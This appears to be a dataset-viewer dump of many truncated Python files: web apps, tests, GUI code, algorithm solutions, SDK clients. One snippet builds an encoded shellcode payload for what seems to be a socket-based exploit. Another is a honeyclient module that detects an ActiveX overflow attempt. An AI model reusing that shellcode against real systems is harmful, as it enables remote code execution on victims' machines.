code stringlengths 1 199k |
|---|
if __name__ == '__main__':
import math
principal = input('Enter the principal: ')
principal = int(principal)
rate_of_interest = input('Enter the rate of interest: ')
rate_of_interest = float(rate_of_interest)
years = input('Enter the number of years: ')
years = int(years)
amount = princi... |
def solution(a):
return len(set(a))
if __name__ == '__main__':
array = [ 2, 1, 1, 2, 3, 1 ]
print "result: ", solution(array) |
from flask import Flask, Blueprint, render_template
from .flass import Flass
from .flex import Flex
from .flinf import Flinf
from .flab import Flab
from .flap import Flap
from .signals import app_created_successfully
class FlailsError(Exception):
pass
class Flails(object):
registration_manager_cls = Flap
bl... |
import itertools
__author__ = 'xubinggui'
natuals = itertools.count(1)
ns = itertools.takewhile(lambda x: x <= 10, natuals)
for n in ns:
print n
cs = itertools.cycle('ABC')
ns = itertools.repeat('A', 10)
for c in ns:
print c
for c in itertools.chain('ABC', 'XYZ'):
print c
for key, group in itertools.groupby... |
class Base(object):
def render(self):
return ""
def convert_column(col, table=None, quote_open="`", quote_close="`"):
"""Turns foo.id into foo.c.id. If a table is given, then id becomes
<table>.c.id"""
col = col.replace(quote_open, "").replace(quote_close, "")
if "." in col and table and not... |
"""
Class with helpful design patterns
"""
class Registry():
"""
Registry design pattern
"""
storage = {}
@classmethod
def get(cls, key):
"""
Gets key data from the registry.
Return the element data or raises KeyValue exception
"""
return cls.storage[key]
... |
from time import sleep
from RoguePy.UI import Elements
from RoguePy.libtcod import libtcod
from RoguePy.State.GameState import GameState
class MenuState(GameState):
def __init__(self, name, manager, ui):
super(MenuState, self).__init__(name, manager, ui)
self.mapReady = False
self.proceeding = 0
self.... |
"""Renderer for performing render operations for the pod."""
import sys
from multiprocessing.dummy import Pool as ThreadPool
from grow.pods import errors
class Error(Exception):
"""Base renderer error."""
def __init__(self, message):
super(Error, self).__init__(message)
self.message = message
cl... |
print("There is something in this file") |
class Solution(object):
def removeDuplicates(self, nums):
"""
:type nums: List[int]
:rtype: int
"""
if len(nums)==0:
return 0
if len(nums)==1:
return 1
i=1
count=1
while i<len(nums):
if nums[i]==nums[i-1]:
... |
import os
import unittest
from typing import List
def missing_numbers(arr: List[int], brr: List[int]) -> List[int]:
missing = set()
arr = sorted(arr)
brr = sorted(brr)
n = len(arr)
m = len(brr)
i = 0
for j in range(m):
if i < n:
if arr[i] == brr[j]:
i += 1... |
"""
"""
from wheezy.validation.rules import length
from wheezy.validation.rules import required
password_rules = [required, length(min=8), length(max=12)] |
"""Tests templar/api/config.py"""
from templar.api.config import ConfigBuilder
from templar.api.config import ConfigBuilderError
from templar.api.rules.core import Rule
import unittest
import mock
class ConfigBuilderTest(unittest.TestCase):
def testEmptyBuilder(self):
config = ConfigBuilder().build()
... |
import os
import subprocess
import atexit
import signal
import time
import re
import unittest
import gisdata
from geoserver.catalog import Catalog
from geoserver.catalog import ConflictingDataError
from geoserver.catalog import UploadError
from geoserver.catalog import FailedRequestError
from geoserver.support import R... |
import sqlalchemy.orm
import sqlalchemy.orm.util
import sqlalchemy.exc
from classical.fields.base import ClassField, FieldInspector, FieldSchema
class SQLAlchemyModelFieldInspector(FieldInspector[ClassField]):
@classmethod
def _validate_cls(cls, insp_cls: type) -> None:
try:
sqlalchemy.orm.u... |
password="pbkdf2(1000,20,sha512)$b542a9a71e667aca$1a42839c09cdc32b4aa675930d4996f6a8c528d6" |
import socket
from shapy.framework.executor import Executable
from .connection import Connection
from .message import Message, Attr
from .tc import tcmsg
from .constants import *
from shapy.framework.utils import convert_handle
connection = Connection()
class NetlinkExecutable(Executable):
def execute(self):
... |
from functools import wraps
from typing import Callable
from drf_openapi.entities import VersionedSerializers
from rest_framework.response import Response
def view_config(request_serializer=None, response_serializer=None, validate_response=False):
def decorator(view_method):
view_method.request_serializer =... |
"""
Django settings for application project.
For more information on this file, see
https://docs.djangoproject.com/en/1.6/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/1.6/ref/settings/
"""
from djangae.settings_base import *
import os
BASE_DIR = os.path.dirname(... |
"""
Distutils convenience functionality.
Don't use this outside of Twisted.
Maintainer: Christopher Armstrong
"""
from distutils.command import build_scripts, install_data, build_ext
from distutils.errors import CompileError
from distutils import core
from distutils.core import Extension
import fnmatch
import os
import... |
from __future__ import unicode_literals
from django.db import models, migrations
from django.conf import settings
class Migration(migrations.Migration):
dependencies = [
('products', '0013_auto_20160121_1411'),
]
operations = [
migrations.AlterField(
model_name='product',
... |
from django.conf.urls import include, url
import django.contrib.auth.views
from .views import *
from sifac_landing.views import index
urlpatterns = [
url(r'^$', index, name='index'),
url(r'^login/$', loginView, name='login'),
url(r'^signup/$', signUPView, name='signup'),
url(r'^logout/$', django.contrib.auth.views.... |
from PyQt4 import QtCore, QtGui
try:
_fromUtf8 = QtCore.QString.fromUtf8
except AttributeError:
def _fromUtf8(s):
return s
try:
_encoding = QtGui.QApplication.UnicodeUTF8
def _translate(context, text, disambig):
return QtGui.QApplication.translate(context, text, disambig, _encoding)
exce... |
"""
Holds the MyController.
"""
__author__ = 'Jonny Lamb'
__copyright__ = 'Copyright © 2008 Jonny Lamb, Copyright © 2010 Jan Dittberner'
__license__ = 'MIT'
import logging
import tempfile
from debexpo.lib.base import *
from debexpo.lib import constants, form
from debexpo.lib.schemas import DetailsForm, GpgForm, Passwor... |
import sys
import ply.yacc as yacc
from Cparser import Cparser
from TreePrinter import TreePrinter
if __name__ == '__main__':
TreePrinter() # Loads printTree definitions
try:
filename = sys.argv[1] if len(sys.argv) > 1 else "example.txt"
file = open(filename, "r")
except IOError:
pr... |
"""
ramlient
~~~~~~~~
Access to a RAML API done right, in Python.
:copyright: (c) 2017 by Timo Furrer <tuxtimo@gmail.com>
:license: MIT, see LICENSE for more details.
"""
import codecs
from collections import namedtuple
import ramlfications
from . import utils
from .request import AVAILABLE_METHODS,... |
import ClientAPI
import Axiom.Graphics
class Technique:
#
# Constructor
#
def __init__(self):
assert False
#
# Methods
#
def GetPass(self, nameOrIndex):
return ClientAPI.Pass._ExistingPass(self._technique.GetPass(nameOrIndex))
#
# Property Getters
#
def _g... |
"""Access FTDI hardware.
Contents
--------
:class:`Error`
Base error class.
:class:`DeviceNotFoundError`
Raised when device is not connected.
:class:`DeviceError`
Raised for generic pylibftdi exceptions.
:class:`ReadError`
Raised on read errors.
:class:`WriteError`
Raised on write errors.
:class:`Ft... |
import numpy as np
import random
from environment import Env
from collections import defaultdict
class QLearningAgent:
def __init__(self, actions):
# actions = [0, 1, 2, 3]
self.actions = actions
self.learning_rate = 0.01
self.discount_factor = 0.9
self.epsilon = 0.1
... |
import os
import sys
try:
sys.path.insert(0, os.getenv('PNP_HOME')+'/PNPnaoqi/py')
except:
print "Please set PNP_HOME environment variable to PetriNetPlans folder."
sys.exit(1)
import pnp_cmd_naoqi
from pnp_cmd_naoqi import *
p = PNPCmd()
p.begin()
p.exec_action('say', 'starting')
p.exec_action('lookfor', '... |
from test_framework.test_framework import ComparisonTestFramework
from test_framework.util import *
from test_framework.comptool import TestManager, TestInstance, RejectResult
from test_framework.blocktools import *
import time
from test_framework.key import CECKey
from test_framework.script import CScript, SignatureHa... |
"""
Created on Fri Jul 20 18:24:19 2018
@author: a001985
"""
import requests
import pathlib
import urllib
class SharkWebReader():
""" """
def __init__(self,
sharkweb_url='https://sharkweb.smhi.se',
debug=False,
load_all_options=True):
""" """
se... |
from typing import TYPE_CHECKING
from azure.core.configuration import Configuration
from azure.core.pipeline import policies
from azure.mgmt.core.policies import ARMChallengeAuthenticationPolicy, ARMHttpLoggingPolicy
from ._version import VERSION
if TYPE_CHECKING:
# pylint: disable=unused-import,ungrouped-imports
... |
from PyQt4 import QtGui, QtCore
class NodeView(QtGui.QGraphicsView):
_majorGridStep = 200
_minorGridStep = 20
_majorGridColor = '#555555'
_minorGridColor = '#444444'
_bgColor = '#303030'
_scaleFactor = 1.15
def __init__(self, scene, parent=None):
super(NodeView, self).__init__(scene,... |
from __future__ import absolute_import, unicode_literals
from peewee import BooleanField
from playhouse.migrate import SqliteMigrator, migrate
from utils import db
migrator = SqliteMigrator(db)
def add_send_as_me():
migrate(migrator.add_column('configuration', 'send_as_me', BooleanField(default=True)))
upgrades = [... |
'''
In cryptography, a Caesar cipher is a very simple encryption techniques in which each letter in the plain text is replaced by a
letter some fixed number of positions down the alphabet. For example,
with a shift of 3, A would be replaced by D, B would become E, and so on.
The method is named after Julius Caesar, who... |
from msrest.service_client import ServiceClient
from msrest import Serializer, Deserializer
from msrestazure import AzureConfiguration
from .version import VERSION
from .operations.registries_operations import RegistriesOperations
from . import models
class ContainerRegistryManagementClientConfiguration(AzureConfigurat... |
import datetime
import tempfile
import unittest
from bs4 import BeautifulSoup
import requests_mock
import myusps
PACKAGE_ROW_HTML = """<div class="pack_row">
<div class="pack_status-bigNumber">
<div class="date-small pack_green">Sep</div>
<div class="d... |
from bs4 import BeautifulSoup
import requests
import re
import sys
import time
import networkx as nx
import math
import os
import cPickle as pickle
from datetime import date, timedelta
import threading
base = "http://forum2.nexon.net/"
dn = "forumdisplay.php?62-Dragon-Nest&parenturl=http://dragonnest.nexon.net/communit... |
"""
Given already mapped fusions using the reads file (format:
gene1 gene2 position1 strand1 position2 strand2 read_name)
Use the original BAM to plot the ends of the reads as BED file to be presented
by the genome browser.
Color code as specified in the parametrs
"""
import sys
import argparse
import csv
from collecti... |
"""
This module contains methods for creating a game H2H chart.
"""
import matplotlib.pyplot as plt
import numpy as np # standard scientific python stack
import pandas as pd # standard scientific python stack
from scrapenhl2.manipulate import manipulate as manip
from scrapenhl2.scrape import schedules, team_info, pla... |
class Solution(object):
def minimumTotal(self, triangle):
"""
:type triangle: List[List[int]]
:rtype: int
"""
for i in range(len(triangle) - 2, -1, -1):
for j in range(i + 1):
triangle[i][j] = triangle[i][j] + \
min... |
from database.db0 import db0, ConstDB
from database.db3 import db3, ConstDB3
from utils.errors import KeyDuplicateError, ReadOnlyDeny
from utils.utils import eui_64_to_48, eui_48_to_64
from binascii import hexlify
from enum import Enum
import enum
from userver.frequency_plan import FrequencyPlan
from userver.object.ass... |
from __future__ import unicode_literals
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('library', '0004_auto_20160229_0021'),
]
operations = [
migrations.RemoveField(
model_name='item',
name='source_destination',
),
... |
from __future__ import division
import sys
import os
class null_out(object):
"""Pseudo-filehandle for suppressing printed output."""
def isatty(self): return False
def close(self): pass
def flush(self): pass
def write(self, str): pass
def writelines(self, sequence): pass
def set_working_path(work_path):
"... |
def test_get_cluster_info(client, session):
response = client.get("/upload")
assert response.status_code == 200
assert response.json == {}
def test_add_cluster_log(client, session):
post_data = """Device: ID=1; Fw=16071801; Evt=1; Alarms: CoilRevesed=OFF; Power: Active=1832W; Reactive=279var; Appearent=... |
_q_exports = ['_q_index',
]
from quixote.errors import TraversalError
from canary.ui.admin.session import session_ui
from canary.ui.admin.session.session_ui import SessionActions
_q_index = session_ui._q_index
def _q_lookup (request, session_id):
try:
if not session_id == None:
ret... |
from thumbor.context import Context as ThumborContext
from thumbor.filters import FiltersFactory
from thumbor.metrics.logger_metrics import Metrics
from tc_core.context_importer import ContextImporter
class Context(ThumborContext):
def __init__(self, server=None, config=None, importer=None,
request... |
from __future__ import unicode_literals
from django.db import models
class Product(models.Model):
name = models.CharField(max_length=255)
description = models.CharField(max_length=255)
category = models.CharField(max_length=255)
price = models.DecimalField(max_digits=6, decimal_places=2)
def __str__... |
import numpy as np
from numpy import sin,cos,exp,sqrt,pi,tan
import matplotlib.pyplot as plt
from scipy import interpolate
import pyfits
import traces.analyses as anal
import traces.surfaces as surf
import traces.transformations as tran
import traces.sources as sources
ccd = np.genfromtxt('/home/rallured/Dropbox/Arcus/... |
import logging
import os
import sys
try:
import urllib2 as urllib
except ImportError:
import urllib
from urllib import request
urllib.Request = request.Request
urllib.ProxyHandler = request.ProxyHandler
urllib.build_opener = request.build_opener
urllib.install_opener = request.install_opener... |
from util import manhattanDistance
from game import Directions
from game import Actions
import random, util
from game import Agent
class ReflexAgent(Agent):
"""
A reflex agent chooses an action at each choice point by examining
its alternatives via a state evaluation function.
The code below is provided a... |
EXPECTED = {'PKIXCMP': {'extensibility-implied': False,
'imports': {'PKCS-10': ['CertificationRequest'],
'PKIX1Explicit88': ['AlgorithmIdentifier',
'Certificate',
'CertificateList',
... |
"""Misura Language or Mini Language.
Secure minimal Python language subset for conditional evaluation of numerical datasets."""
import numpy as np
from scipy.interpolate import UnivariateSpline
from .env import BaseEnvironment
from .. import csutil
class DataEnvironment(BaseEnvironment):
# relativi agli oggetti arr... |
__copyright__ = """Copyright 2014 Adobe Systems Incorporated (http://www.adobe.com/). All Rights Reserved.
"""
__usage__ = """ BuildMMFont v1.6 Aug 27 2010
BuildMMFont [-u] [-h]
BuildMMFont [-new] [-srcEM <number>] [-dstEM <number> ] [-v]
"""
__help__ = """ BuildMMFont
Build MM font from bez files.
First builds base ... |
import numpy as np
from scipy.interpolate import Rbf
def sigmoid(x):
return 1./(1+np.exp(-x))
def rbf(arr, radius=10, threshold=0):
"""
use:
gradually slopiing off to (almost) 0 in the given radius
ref:
http://docs.scipy.org/doc/scipy/reference/tutorial/interpolate.html#using-radial-basi... |
"""
A minimal front end to the Docutils Publisher, producing pseudo-XML.
"""
try:
import locale
locale.setlocale(locale.LC_ALL, '')
except:
pass
from docutils.core import publish_cmdline, default_description
description = ('Generates pseudo-XML from standalone reStructuredText '
'sources (for... |
bind = "0.0.0.0:5000"
worker_class = "socketio.sgunicorn.GeventSocketIOWorker"
loglevel = "debug"
accesslog = "-"
errorlog = "-"
enable_stdio_inheritance = True |
"""Curve25519 key exchange handler primitives"""
import ctypes
from os import urandom
_found = None
try:
from libnacl import nacl
_CURVE25519_BYTES = nacl.crypto_scalarmult_curve25519_bytes()
_CURVE25519_SCALARBYTES = nacl.crypto_scalarmult_curve25519_scalarbytes()
_curve25519 = nacl.crypto_scalarmult_c... |
"""
"""
__version__ = '$Id: 7e997b1d4929c5490ff92eb723b40d5b33916879 $'
import sys, re, codecs, os, time, shutil
import wikipedia as pywikibot
import config, date
from copyright import put, join_family_data, appdir, reports_cat
append_date_to_wiki_save_path = True
append_day_to_wiki_save_path = False
append_date_to_ent... |
'''Jabber(XMPP) messaging component
Copyright (C) 2010
Yosuke Matsusaka
Intelligent Systems Research Institute,
National Institute of Advanced Industrial Science and Technology (AIST),
Japan
All rights reserved.
Licensed under the Eclipse Public License -v 1.0 (EPL)
http://www.opensource.org/license... |
setFindFailedResponse(PROMPT)
click(Pattern("1469121301864.png").targetOffset(32,-2))
topleft = find(Pattern("1469121301864.png").targetOffset(-80,-16)).getTarget()
x = topleft.getX()
y = topleft.getY()
region = Region(x,y,1000,700)
def t(escriure):
for c in escriure:
type(c)
sleep(0.2)
sleep(0.... |
"""Class to perform translation memory matching from a store of translation units"""
import heapq
import re
from translate.search import lshtein
from translate.search import terminology
from translate.storage import base
from translate.storage import po
from translate.misc.multistring import multistring
def sourcelen(u... |
"""
RPC module
Decode RPC layer.
"""
import struct
import traceback
from gss import GSS
from rpc_const import *
import nfstest_config as c
from baseobj import BaseObj
from rpc_creds import rpc_credential
from packet.nfs.nfs4lib import FancyNFS4Unpacker
__author__ = 'Jorge Mora (%s)' % c.NFSTEST_AUTHOR_EMAIL
__versio... |
"""
Created by Zoltan Bozoky 2014.09.09.
Under GPL licence.
Purpose:
========
* Store externally generated PDBs into STR files.
"""
import sys
import glob
from disconf.predict.trades import TraDES
from disconf.predict.generator import create_predictor_kwarg
if len(sys.argv) < 4:
print 'extra_pdb.py parameters:'
... |
from array import array
from sys import argv, exit
from slputils import signal_in, signal_out
from math import sqrt
a = [0, -4.4918, 8.0941, -7.3121, 3.311, -0.6011]
b = [2.34E-6, 1.17E-5, 2.34E-5, 2.34E-5, 1.17E-5, 2.34E-6]
if len(argv) != 3:
exit("usage: " + argv[0] + " <input_file> <output_file>")
infile = argv[1]
... |
'''
videobee urlresolver plugin
Copyright (C) 2016 Gujal
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distrib... |
import commander.commands as commands
import pluma
import re
import regex
from xml.sax import saxutils
import finder
__commander_module__ = True
__root__ = ['/', 'find_i', '//', 'r/', 'r//']
class TextFinder(finder.Finder):
def __init__(self, entry, flags):
finder.Finder.__init__(self, entry)
self.flags = flags
d... |
import networkx
from networkx import path
from Dataset import Advogato, Dummy
cap_dict = { 0: 800,
1: 200,
2: 50,
3: 12,
4: 4,
5: 2 }
def build_adv_flow_graph(G, seeds):
"""Build a flow graph from a graph, as described in the Advogato
trust metric... |
"""
This file contains the audit log file search utility which allows user to
retrieve log entries according to the specified search criteria (i.e.,
from specific users, search patterns, date ranges, or query types).
"""
import os.path
import sys
from mysql.utilities.common.tools import check_python_version
from mysql.... |
from PyQt4.QtCore import SIGNAL
from kang.gui.regexLibraryWindowBA import RegexLibraryWindowBA
from kang.images import getIcon
from kang.modules.parseRegexLib import ParseRegexLib
from kang.modules.util import restoreWindowSettings, saveWindowSettings
GEO = "regex-lib_geometry"
class RegexLibraryWindow(RegexLibraryWind... |
import logging
from gettext import gettext as _
import math
from gi.repository import GObject
from gi.repository import GConf
from gi.repository import GLib
from gi.repository import Gtk
from gi.repository import Gdk
from gi.repository import GdkPixbuf
from sugar3.graphics import style
from sugar3.graphics.icon import ... |
import logging
log = logging.getLogger("Thug")
def SetPort(self, arg):
if len(arg) > 10:
log.ThugLogging.log_exploit_event(self._window.url,
"Toshiba Surveillance RecordSend Class ActiveX",
"Overflow in SetPort")
log... |
"""
Plugin for UrlResolver
Copyright (C) 2015 tknorris
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
... |
from grace import *
import os
import datetime
class ImportFile(Model):
__prefix__='pb'
filename=Column(String(255),primary_key=True)
mtime=Column(TIMESTAMP,nullable=False)
update_time=Column(TIMESTAMP)
create_time=Column(TIMESTAMP)
def __repr__(self):
return self.filename
@classmetho... |
from __future__ import print_function
from Plugins.Plugin import PluginDescriptor
from Screens.Screen import Screen
from Screens.MessageBox import MessageBox
from Components.config import config, ConfigSelection, ConfigYesNo, getConfigListEntry, ConfigSubsection, ConfigText
from Components.ConfigList import ConfigListS... |
import os
import urllib
from google.appengine.api import users
from google.appengine.ext import ndb
import jinja2
import webapp2
JINJA_ENVIRONMENT = jinja2.Environment(
loader=jinja2.FileSystemLoader(os.path.dirname(__file__)),
extensions=['jinja2.ext.autoescape'],
autoescape=True)
DEFAULT_GUESTBOOK_NAME = ... |
import errno
import sys
from portage.util import writemsg
from portage.data import secpass
import portage
from portage import os
try:
import cPickle as pickle
except ImportError:
import pickle
if sys.hexversion >= 0x3000000:
basestring = str
long = int
_unicode = str
else:
_unicode = unicode
class BlockerCache(po... |
from scipy.stats import semicircular
import matplotlib.pyplot as plt
fig, ax = plt.subplots(1, 1)
mean, var, skew, kurt = semicircular.stats(moments='mvsk')
x = np.linspace(semicircular.ppf(0.01),
semicircular.ppf(0.99), 100)
ax.plot(x, semicircular.pdf(x),
'r-', lw=5, alpha=0.6, label='semicircu... |
'''
Author: eric kalosa-kenyon
Problem:
'''
import math as ma
import numpy as np
def main():
''' '''
def test():
print "Passed tests!!"
if __name__ == '__main__':
test()
main() |
import ast
import json
import re
import time
from lithptypes import *
from excepts import *
from JSIterator import JSListIterator
from lithpconstants import LithpConstants
ArityBuiltins = {
"print": "*",
"and": "*",
"or": "*",
"+": "*",
"++": "*",
"-": "*",
"/": "*",
"\\": "*",
"list": "*",
"flatten": "*",
"... |
from PyQt4.phonon import Phonon
from PyQt4.QtCore import QByteArray, QUrl
import re
import types
import os.path
from datetime import time
import logging
logger = logging.getLogger(__name__)
def phononVersion ():
return map (int, Phonon.phononVersion ().split ('.'))
def qstring2path (qs):
# BUG: this is ugly; mi... |
from zope.interface import Interface
class INotificationsTool(Interface):
"""
Provide INotificationsQueue as a site utility
For package internal use only
"""
class INotificationsQueues(Interface):
"""
Stores queues for notifications for each user.
Queues are implemented with PersistentLists ... |
import libvirt
class DomainManager:
def __init__(self, names):
self.names = names
def connect(self, URI = None):
try
self.conn = libvirt.open(URI)
except libvirt.libvirtError:
print "Failed to open connection to hyphervisor"
def create(self, name):
sel... |
import re
import ffdraft.models as models
import os
from xml.etree import ElementTree
from PyQt4 import QtCore, QtGui
from ffdraft.utils import EggTimer
from ffdraft.ticker import Ticker
from ffdraft.dialogs import TeamDialog, AddPlayerDialog, WebAuthDialog
from ffdraft.yahoo.auth import OAuthWrapper
YAHOO_URL = 'http:... |
class Renamer(object):
def __init__(self):pass
def perform(self):return 'Done'
renamer=Renamer()
self.destfn_script=renamer.perform |
import sys, os, time, atexit, signal
class Daemon(object):
def __init__(self, pidfile):
self.pidfile = pidfile
def daemonize(self):
"""Deamonize class. UNIX double fork mechanism."""
try:
pid = os.fork()
if pid > 0:
# exit first parent
... |
import copy
import utilities
import logging
from utilities import notification
logger = logging.getLogger(__name__)
class SyncMovies():
def __init__(self, sync, progress):
self.sync = sync
if not self.sync.show_progress and sync.sync_on_update and sync.notify and self.sync.notify_during_playback:
... |
import sys
import struct
def crx2zip(source, target):
with open(source, "rb") as crx:
print "Read crx %s" % source
magic = crx.read(4)
if magic <> "Cr24":
raise Exception("Invalid")
version = struct.unpack("<I", crx.read(4))[0]
key_len = struct.unpack("<I", crx.read(4))[0]
sign_len = st... |
import os
import sys
import time
import socket
import struct
sc = "\x90"
sc += "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xeb\x03\x59"
sc += "\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49\x49\x49\x49"
sc += "\x49\x49\x49\x49\x49\x49\x49\x49\x51\x37\x5a\x6a\x66\x58\x... |
import pygtk
import gtk
import gtk.gdk
import gobject
import cairo, pangocairo
from math import pi, sqrt
import time
import re
import mimetypes
mimetypes.init()
from ccm.Utils import *
from ccm.Constants import *
from ccm.Conflicts import *
import locale
import gettext
locale.setlocale(locale.LC_ALL, "")
gettext.bindte... |
['../evaluation_tmp.py', '10000']
mnist classes = 2
size: 10000
(2609,)
(7391,)
data size: 10000, nu: 0.2, gamma: 1
============ 1. Fold of CV ============
1) Incremental OCSVM
0 data points processed
1000 data points processed
2000 data points processed
3000 data points processed
4000 data points processed
5000 data p... |
import unittest
import json
from requests.compat import urljoin
class BaseAPITest(unittest.TestCase):
def setUp(self):
super(BaseAPITest, self).setUp()
self.api_url = 'http://127.0.0.1:5001/'
def get_url(self, path):
return urljoin(self.api_url, path)
def assertJSONEquals(self, reque... |
'''
Created on 2015��5��9��
@author: stm
'''
from utils import DebugLog
from ui.BasePanel import BasePanel
from Tkinter import Label, StringVar, Checkbutton, Button, Text
from Tkconstants import SUNKEN, RIDGE, TOP
from base.cmdmsg import CHECK_ENABLED, SAVESELECTION, CMDMsg
from model.viosmachine import NAME_ID, IP_ID
... |
"""
***************************************************************************
RandomSelectionWithinSubsets.py
---------------------
Date : August 2012
Copyright : (C) 2012 by Victor Olaya
Email : volayaf at gmail dot com
***********************************... |
"""
Do not use system dependent types (short, long, int).
Instead use system independent types (int16_t, int64_t, int32_t) respectively.
== Violation ==
int k;
short b;
long t;
== Good ==
int32_t b;
"""
from nsiqunittest.nsiqcppstyle_unittestbase import *
from nsiqcppstyle_rulehelper import *
from nsiqc... |
import os
header = """\
[buildout]
extends = base.cfg
"""
configuration = ""
extra_buildout_configuration = ""
sources = ""
existing_types = [
"eggs"
]
list_types = [
"zcml",
"products",
"extra-paths",
"scripts",
"zope-conf-imports",
]
conf_types = [
"environment-vars",
"rel-storage",
... |
"""
Parses the lds.xml file to build the temple/code maps
"""
from ..const import DATA_DIR
import os
import logging
from xml.parsers.expat import ParserCreate
from ..ggettext import gettext as _
LOG = logging.getLogger(".")
class LdsTemples(object):
"""
Parsing class for the LDS temples file
"""
def __... |
"""
utils.hosts
--------------
"""
import socket
from utils import conf
from utils.log import logger
from utils.update import update
from cfme.infrastructure import host
def get_host_data_by_name(provider_key, host_name):
for host_obj in conf.cfme_data.get('management_systems', {})[provider_key].get('hosts', []):
... |
from sos.plugins import Plugin, RedHatPlugin, DebianPlugin, UbuntuPlugin
class Apache(Plugin):
"""Apache related information
"""
plugin_name = "apache"
option_list = [("log", "gathers all apache logs", "slow", False)]
class RedHatApache(Apache, RedHatPlugin):
"""Apache related information for Red Ha... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.